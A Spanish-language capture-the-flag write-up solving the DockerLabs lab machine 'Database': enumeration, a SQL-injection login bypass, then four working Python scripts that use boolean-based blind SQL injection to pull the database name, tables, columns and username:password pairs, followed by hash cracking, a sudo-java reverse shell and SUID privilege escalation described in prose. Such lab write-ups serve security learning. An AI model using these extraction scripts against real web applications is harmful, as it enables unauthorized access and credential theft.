Resolución de la maquina Database | DockerLaps.es | WriteUp

 

Database



Que tal lord & lady


El día de hoy traigo para ustedes una nueva resolución de maquina de la plataforma de https://dockerlabs.es, la maquina Database.

Esta maquina es creada por el mismisimo Pingüino de Mario, tiene una dificultad media y es la maquina elegida para hackear y romper el día de hoy.


Requisitos previos:

- Tener configurado al menos una virtual como Kali o Parrot (link aquí)


Write Up maquina Database #dockerlabs.es

Reconocimiento

Ping, IP y SO: 


Enumeración

Quick scan


Servicios y versiones



[Opcional]

Como ya se nos esta haciendo costumbre, vamos a ejecutar, así es los scripts de vulnerabilidades de nmap...


Bien por lo pronto tenemos 4 puertos:

Puerto 22 - Open SSH 8.9p1


Puerto 80 - Apache httpd 2.4.52

Vamos a ejecutarnos nuestro tradicional whatweb:

Whatweb:


Sition + Wappalizer:

Tenemos un panel de login

Esto me gusta mucho, una cosa que podríamos intentar es tal ves un RCE, o un XSS o tal ves SQLi.

Vámonos en orden...


Fuzzing

Esto es típico en sitios web, vamos a ver si encontramos algo:


De entrada, casi inmediatamente que ejecutmos nuestro hermoso fuzzing, encontramos 2 recursos, uno que ya sabíamos que ibamois a tener y ademas, un config.php...

Vamos a ver que encontramos?

Bueno parece que no hay nada, aunque yo intentaría también con wfuzz buscar tal ves algún parámetro...

Vamos hacerlo en lo que seguimos buscando y enumerando la parte web...


Bueno, no hemos conseguido nada, pero es una buena practica intentar algo así, buscar parámetros con wfuzz...


SQLi

Pero por supuesto que existen herramientas automatizadas como sqlmap para realizar una tarea como esta pero, como nos gusta hacerlo, haremos este ataque de forma manual...

Vamos a comenzar a jugar ...

Vaya!

Parece ser que los tiros van por aquí, vamos a continuar...

Vamos a utilizar BurpSuite para poder realizar esto de forma más cómoda:

Ya encontramos cuantas columnas tenemos en el query actual, son 2


Login valido

Como ya sabemos que el campo vulnerable es el name, algo que podemos hacer es lo siguiente:

Damos enter y ...


Ojo

Hemos pasado la validación de login sin saber una contraseña valida!

Además, hemos conseguido algo valioso, tenemos el usuario de dylan!

Esto obviamente lo debemos documentar


¿Qué más podemos hacer?

Dado que no tenemos una aplicación con al cual poder "jugar", vamos a extraer información de la base de datos utilizando el SQLi que tenemos y podemos explotar...

¿Como lo vamos hacer?

Bueno, dado a que no tenemos como tal como ver un resultado de nuestro ataque SQLi, podemos realizar 2 cosas, una basada en condiciones y otra basada en tiempo

Vamos a utilizar basado en condiciones, es también llamado "Boolean-based blind SQL injection".


Armando nuestro payload

Para poder automatizar con bash o python un ataque de SQLi a ciegas basado en condiciones debemos armar primero nuestra base, para ellos vamos a jugar un poquito con la consulta para poder, por ejemplo obtener el nombre de la base de datos...

En la consulta anterior, básicamente lo que esta haciendo es

"a ver login/programa/base de datos whatever, ve y fíjate si mi usuario es 'admin1' ó valida que la primera letra de la base de datos comience con la letra 'r'...?, si? 

-base de datos: si bebe, no es valido tu usuario mugroso 'admin1' peeero, la primer la primera letra de la base de datos actual si es 'r'"

Con este principio podemos obtener el nombre de la base de datos.

Hay varias formas de hacerlo, vamos hacerlo por ahora con python...


Preparando programa en python para extraer nombre de la base de datos



Vale

Dado el ejercicio que hicimos en Burpsuite del ejemplo anterior, hemos creado el primer template de nuestro programa en python sqli_dababase.py

Vamos a ejecutarlo y deberíamos ver el resultado en pantalla:


Como vamos a estar haciendo uso de la librería pwn, hay que instalarla...


Una vez instalada, intentamos ejecutar nuevamente...


Explotación

Vale dado algunos errores de sintaxis, así quedo al final el programita template:



Ejecutamos:



Ajustamos el programa para poder obtener la base de datos...

Bien, al final el programa quedo así


Vale te dejo el script mejor aquí (actualizado):



import requests

import signal

import sys

import time

from pwn import *


def def_handler(sig, frame):

        print("\n\n[!] Saliendo...\n\n")

        sys.exit(1)


# Ctrol+C

signal.signal(signal.SIGINT, def_handler)


# Variables globales

main_url = "http://172.17.0.2/index.php"

characters = string.printable


def makeSQLi():

        p1 = log.progress("Fuerza bruta")

        p1.status("Iniciando proceso de fuerza bruta")


        time.sleep(2)


        p2 = log.progress("Datos extraidos")


        extracted_info = ""


        #Variables locales

        headers = {'Content-Type': 'application/x-www-form-urlencoded'}

        cookies = {'PHPSESSID':'9ks34c04d3mgkusq24gfuv3lin'}


        for position in range(1,50):

                for character in characters:

                        data = "name=admin1' OR (substring(database(),%d,1))='%s';&password=Admin123&submit=" % (position,character)

                        r = requests.post(main_url, data=data, headers=headers, cookies=cookies)


                        if 'Bienvenido' in r.text:

                                #print("OK")

                                extracted_info += character

                                p2.status(extracted_info)

                                break

                        #else:

                        #       print("KO")


if __name__ == '__main__':

        makeSQLi()



Ejecutamos:

Si, si lo se, no es perfecto pero oye!
Funciona

Ya tenemos nuestro nombre de la base de datos... "register"

Ya con esto vamos a obtener tablas y columnas, para posteriormente obtener la info de alguna table particular...

Para extraer las tablas, el script quedo de la siguiente manera:



import requests

import signal

import sys

import time

from pwn import *


def def_handler(sig, frame):

        print("\n\n[!] Saliendo...\n\n")

        sys.exit(1)


# Ctrol+C

signal.signal(signal.SIGINT, def_handler)


# Variables globales

main_url = "http://172.17.0.2/index.php"

#characters = string.printable


def makeSQLi():

        p1 = log.progress("Fuerza bruta")

        p1.status("Iniciando proceso de fuerza bruta")


        time.sleep(2)


        p2 = log.progress("Datos extraidos")


        extracted_info = ""


        #Variables locales

        headers = {'Content-Type': 'application/x-www-form-urlencoded'}

        cookies = {'PHPSESSID':'9ks34c04d3mgkusq24gfuv3lin'}


        for position in range(1,250):

                for character in range(33,126):

                        data = "name=name=admin1' OR (select ascii(substring(group_concat(table_name),%d,1)) from information_schema.tables where table_schema='register')=%d -- -;&password=Admin123&submit=" % (position,character)

                        r = requests.post(main_url, data=data, headers=headers, cookies=cookies)


                        #print(data)

                        #print(r.text)


                        if 'Bienvenido' in r.text:

                                #print("OK")

                                extracted_info += chr(character)

                                p2.status(extracted_info)

                                break

                        #else:

                        #       print("KO")


if __name__ == '__main__':

        makeSQLi()



Ejecutamos:

Hemos conseguido la tabla "users"


Vamos ahora por las columnas:

...

Después de no haber obtenido bien los datos, tuve que hacer unos ajustes al script de tablas y columnas, el script de columnas quedo de la siguiente manera:



import requests

import signal

import sys

import time

from pwn import *


def def_handler(sig, frame):

        print("\n\n[!] Saliendo...\n\n")

        sys.exit(1)


# Ctrol+C

signal.signal(signal.SIGINT, def_handler)


# Variables globales

main_url = "http://172.17.0.2/index.php"

#characters = string.printable


def makeSQLi():

        p1 = log.progress("Fuerza bruta")

        p1.status("Iniciando proceso de fuerza bruta")


        time.sleep(2)


        p2 = log.progress("Datos extraidos")


        extracted_info = ""


        #Variables locales

        headers = {'Content-Type': 'application/x-www-form-urlencoded'}

        cookies = {'PHPSESSID':'9ks34c04d3mgkusq24gfuv3lin'}


        for position in range(1,250):

                for character in range(33,126):

                        data = "name=name=admin1' OR (select ascii(substring(group_concat(column_name),%d,1)) from information_schema.columns where table_schema='register' and table_name='users')=%d -- -;&password=Admin123&submit=" % (position,character)

                        r = requests.post(main_url, data=data, headers=headers, cookies=cookies)


                        #print(data)

                        #print(r.text)


                        if 'Bienvenido' in r.text:

                                #print("OK")

                                extracted_info += chr(character)

                                p2.status(extracted_info)

                                break

                        #else:

                        #       print("KO")


if __name__ == '__main__':

        makeSQLi()




Ejecutamos:


Bien

Ya a estas alturas, hemos conseguido lo básico de la base de datos para poder obtener la info

Vamos ajustar otro script en python para obtener los datos de la tabla users...

Bien, el script al final quedo de la siguiente manera:



import requests

import signal

import sys

import time

from pwn import *


def def_handler(sig, frame):

        print("\n\n[!] Saliendo...\n\n")

        sys.exit(1)


# Ctrol+C

signal.signal(signal.SIGINT, def_handler)


# Variables globales

main_url = "http://172.17.0.2/index.php"

#characters = string.printable


def makeSQLi():

        p1 = log.progress("Fuerza bruta")

        p1.status("Iniciando proceso de fuerza bruta")


        time.sleep(2)


        p2 = log.progress("Datos extraidos")


        extracted_info = ""


        #Variables locales

        headers = {'Content-Type': 'application/x-www-form-urlencoded'}

        cookies = {'PHPSESSID':'9ks34c04d3mgkusq24gfuv3lin'}


        for position in range(1,250):

                for character in range(33,126):

                        data = "name=name=admin1' OR (select ascii(substring(group_concat(username,0x3a,passwd),%d,1)) from register.users)=%d -- -;&password=Admin123&submit=" % (position,character)

                        r = requests.post(main_url, data=data, headers=headers, cookies=cookies)


                        #print(data)

                        #print(r.text)


                        if 'Bienvenido' in r.text:

                                #print("OK")

                                extracted_info += chr(character)

                                p2.status(extracted_info)

                                break

                        #else:

                        #       print("KO")


if __name__ == '__main__':

        makeSQLi()



Ejecutamos:


Vamos a guardar esta información en un documento


Algo que podemos ejecutar es intentar acceder a los otro servicio, tanto ssh como samba...

Bien el usuario dylan por ssh no sirve pero si por samba... 

En el recurso shared obtuvimos el archivo augustus.txt

Este valor pasándolo por crackstation nos indica que es un md5 y que el valor es "lovely"

Esto pudiera tratarse de una contraseña, asi que vamos a intentar conectarnos ahora por ssh


Al principio intente usar esta contraseña para el usuario dylan pero al final se me ocurrió con el mismo nombre del archivo, así que si, estamos dentro...

Para llevar un control, actualizamos nuestro archivo de credenciales


Post-Explotación

Vamos a pasearnos un poco en el sistema...

Bien, ahora sabemos que tenemos 3 usuarios, augustus que es onde estamos ahora, bob y dylan, de este ultimo ya sabíamos pero no tenemos una credencial valida, todavia...


Sudoers


Interesante, como augustus podemos ejecutar java como el usuario dylan...

Algo que podmeos intentar es una revershel

Según la pagina de revshells podemos obtener una shell reversa utilizando el siguiente código:



Nos ponemos en escucha en nuestra maquina atacante:



Ejecutamos:


Nos paseamos un poco con el usuario de dylan:


Tenemos un archivo algo ... interesante en la carpeta de dylan...


SUID

Buscando un poco mas por los permisos, vemos que tenemos el bit SUID para algunos binarios...

El que me interesa de momento es /usr/bin/env

Según gtfobins 



...podríamos ejecutar lo siguiente para escalar privilegios, intentamos:

Somos root!


Conclusiones

Definitivamente para mi, siempre es divertido jugar con scripts en python para poder extraer información de bases de datos a partir de SQLi.

Esta maquina definitivamente es una de las más divertidas que he hecho, dedicar un buen tiempo para encontrar una inyección SQL me deja con gran sabor de boca, ademas que la movida en java también me hizo batallar un poco y la escalada, como siempre, fabulosa.

Espero te haya gustado esta resolución.

Yo te leo en la siguiente maquinita o publicación.

Saludos.



Comentarios